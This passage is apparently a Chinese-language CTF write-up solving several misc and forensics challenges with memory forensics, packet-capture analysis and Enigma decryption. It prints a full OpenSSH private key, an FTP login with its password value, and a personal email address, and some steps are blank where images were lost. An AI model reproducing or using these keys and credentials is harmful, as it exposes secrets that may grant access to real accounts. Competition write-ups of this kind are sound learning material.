18. if btn_flag == 1 :
    
19. print(posx,posy)
    
20. keys.close()

复制代码

提取出来坐标的值然后用matplotlib画图拿到数字然后镜像，不过存在缺位，用上图的脚本拼一下之后 得到

1. flag1 = [72,89,75,88,128,93,58,116,76,121,120,63,108]
   
2. flag2 = [94,51,134,119,146]
   
3. flag3 = [130,63,111]#the lost sequence
   
4. flag = flag1 + flag2 + flag3
   
5. for i in range(len(flag)):
   
6. print(chr(flag[i]-i-1),end='')
   
7. ##GWHT{W3lCom3_t0_M!sc}

复制代码

Misc Baby_Forenisc用volatility取证工具

1. Cmd #0 @ 0x3689ed8: git push -u origin master
   
2. Cmd #1 @ 0x566148: ok....
   
3. Cmd #2 @ 0x56aa08: then delete .git and flagfile
   
4. Cmd #3 @ 0x368a798: You can never find my account
   
5. Cmd #4 @ 0x56a580: hahaha

复制代码

在东西在git上 而且有sshkey

1. -----BEGIN OPENSSH PRIVATE KEY-----
   
2. b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
   
3. NhAAAAAwEAAQAAAYEAmw8eqi/h23ABuRhhmx83LuRhw6m8C8k76Me0s7MNdvDP2ZB5hJUU
   
4. fZ4HxR5sEoQf6NyIcCDeznb8FAYAktm3cBlgof847aL661F0R5FtIfOJC/MwklRmXjYr46
   
5. 6HNjQ0Ouu12znqBPJAaMkAaZXknqlEAxCRvyOQhg0bPSR3xxCM39TxpXRKd3tzhlBUQHZi
   
6. upgt6CF3TkBuIcKUPgZ7OgJ/7ES3FaiUOlpZdUYf/H3VwwQumuXPPwvT5QdRA9Myv/zbee
   
7. R9ddLJL84raHK6unuHjngGvWjhXUUQulta49HH55pyrFUViIvH1tfns/6BglTrYWRlFX3A
   
8. TNOVy2igHkhZI8M9GK5VUBwEo3kXcWRiK85vAWwmddBd9+c0NERahRg+SNbodsd1JFu0C9
   
9. kqJ8/HlOnDfPBsUpD0EY/EbzW5PKbkksp2Vp3z+S0y1aVpX2EJRhq2S5kEEU+V4LLN6uqu
   
10. CJzVLeG5Lpnn4V/Ekf/ZpJmmk1Pp9KGFw3tlOqTLAAAFkNMuPgLTLj4CAAAAB3NzaC1yc2
    
11. EAAAGBAJsPHqov4dtwAbkYYZsfNy7kYcOpvAvJO+jHtLOzDXbwz9mQeYSVFH2eB8UebBKE
    
12. H+jciHAg3s52/BQGAJLZt3AZYKH/OO2i+utRdEeRbSHziQvzMJJUZl42K+OuhzY0NDrrtd
    
13. s56gTyQGjJAGmV5J6pRAMQkb8jkIYNGz0kd8cQjN/U8aV0Snd7c4ZQVEB2YrqYLeghd05A
    
14. biHClD4GezoCf+xEtxWolDpaWXVGH/x91cMELprlzz8L0+UHUQPTMr/823nkfXXSyS/OK2
    
15. hyurp7h454Br1o4V1FELpbWuPRx+eacqxVFYiLx9bX57P+gYJU62FkZRV9wEzTlctooB5I
    
16. WSPDPRiuVVAcBKN5F3FkYivObwFsJnXQXffnNDREWoUYPkjW6HbHdSRbtAvZKifPx5Tpw3
    
17. zwbFKQ9BGPxG81uTym5JLKdlad8/ktMtWlaV9hCUYatkuZBBFPleCyzerqrgic1S3huS6Z
    
18. 5+FfxJH/2aSZppNT6fShhcN7ZTqkywAAAAMBAAEAAAGAdfojEsorxpKKPRLX8PbnPb52xD
    
19. C46x7Jfmu0iaWKcRz4iEjsrHvhg1JiBxEGmW/992cUSHw6Ck1trq6CcTlF4PzuEVPnNKf0
    
20. 0ma/WlTD/DkX5Qe7xRqCaNw+uJVqO0utEceWLp7595l6eD+3GJ77u9x96vcIba3ZoKUIPJ
    
21. UqrUNibEvRMFoy7oX3eBJWiFWK+P4gr6YG6HsNUJKDyE2WJKUSP+pogwoo/d0Qg7I/VBVK
    
22. N39PFnwUG5wcNP5EHezqWQVVln/dltDgOc5IldknTRt4Q3NDrSyNsRpv0EYI2gz+yRu/IE
    
23. RR9PHYjH5l6uYwowW34iGi/xloSxG5bDEWOe0eEANCjowiYYrmTLffIQ/AU9w4te/+eWd2
    
24. WV56LUuC6k4mEdNhtljMZR/0A+C5EkPzgsTEJEmYLYvqrNejM7Y1UKz3+YZ8m8rT4XcNmf
    
25. j5wfJd1TbCu0hB5kZC1DkybYQaMRNnZ3+PjwU2hZBTuh02F787nG5NFkpI96qkWxTBAAAA
    
26. wBdaxLNzl/7Dig/neTUAQLa/C1F2cpQt6RcJbzHodgxm8n75a/wdRI4/oCvGJkRgyAnyCE
    
27. tgfMnTQ4opmHf5k0U0R/wmCGivcGhg5KIBSSnp9mWt6qclJ8O6vZ5L3rKIgreWzGUDk8IT
    
28. W3Lcl5EO0sskpVvp65xncEdv3CefxXVTlkgp4PXgXcxPao633hWA6TAm2zZx7R6fJt0Ex4
    
29. x3lVG68ghRE/ZFbF48s8Gy+zRDyA5JEGPWxWddO623IVgG6AAAAMEAyX4CJKSxE5gvJdrw
    
30. lhx8dBbVQxw06fPoVlu/z/JTwkPdliuAdp30SV8WbmXUhLvv457WdqAMCwlGs/7xrCW21U
    
31. 84+VeD9aGM61nSsT7kUzGjdvbjQiHCmys7dwuy/thCrpWFTxI4fjOEYHc3N8S+hBHQRJKk
    
32. mEYyBoI3eJ3NhUsGHr1V4LONBKkoUZyC+LjKev06m9qM6R0/0k4cB09pkDVinuFuGk5iDy
    
33. YKyjAGiAxFI9ACiZ5NLKTsdaEqtCPfAAAAwQDFAXbSxwbLYWDacBNUm4E7FZsYKkqoIAWQ
    
34. 3uEQP5Sp7GrCU5dWraGB2wOkX+irMYGDfTk5qG8NLyYoSKVIZwA6ijDliWekL6XdPGJfKK
    
35. 7xw64Nx6syc7oD7scSzTGNH0m1z+T2rjP3dMDDVhYMHksYcSxikyHNzLR9Z51hCOHeKb1O
    
36. 8LNW4IrC6AYeXt8sHizSLIagncOuPtSkKiGdR5fn65fHomMzaVQsSJYvwNeSrKXu36NSJm
    
37. 27AuL6DDE2vJUAAAAUc29uZzU1MjA4NTEwN0BxcS5jb20BAgMEBQYH

复制代码

拿去base64解密发现邮箱：song552085107@qq.com，上github​
下载下来之后发现一串
​
解码

​

Misc german
打开流量包 发现有用户名和密码

1. //追踪tcp流得到
   
2. 220 FileZilla Server 0.9.60 beta written by Tim Kosse (Tim.Kosse@gmx.de)
   
3. Please visit http://sourceforge.
   
4. USER root
   
5. 331 Password required for root
   
6. PASS d279186428a75016b17e4df5ea43d080
   
7. 230 Logged on
   
8. opts utf8 on
   
9. 202 UTF8 mode is always enabled. No need to send this command.
   
10. PWD
    
11. 257 "/" is current directory.

复制代码

接着发现了 pdf文件和txt文件

​

提取出来得到加密的pdf以及密文 尝试用tcp流中的pass解密pdf，得到密码本

​

1. 密文：
   
2. 0911 = 1tle = 1tl = 350 = RZS NAJ =
   
3. nkfgp roqad boprv yrdhy zwamf qsrhb owqvt jzotr ffcjq snpqh kpwzm fprru gufez
   
4. xsuws aohyw xbreu pifbz kagxj blbha jzixj zrasn zxkay lpaza ejwou itcip dfdgp
   
5. rbjnv xuqzq qhtya xwwik wyybx kdgrc slrkj pgjay aidwa jeszp pbqat njojg jrplb
   
6. kkhot joqpg vwecj soabm aupsr fenug ybxmr jloch kmjgc tznxl tnrqx pbeph fwymn
   
7. gpoor pjkkb plkwb kxzeq quorp ipuvs utyae qyzgp mqnai iysse gzsht tsrmv crrkr
   
8. opuxj tqshv ypdrw rvnzt cstlj

复制代码

enigma解密得到

1. 475748547berta366239363732303566653735373935663130343835373163663463666237303
   
2. 37dora
   
3. berta代表{
   
4. dora代表}

复制代码

hex解码得到flag
GWHT{6b967205fe75795f1048571cf4cfb703}
​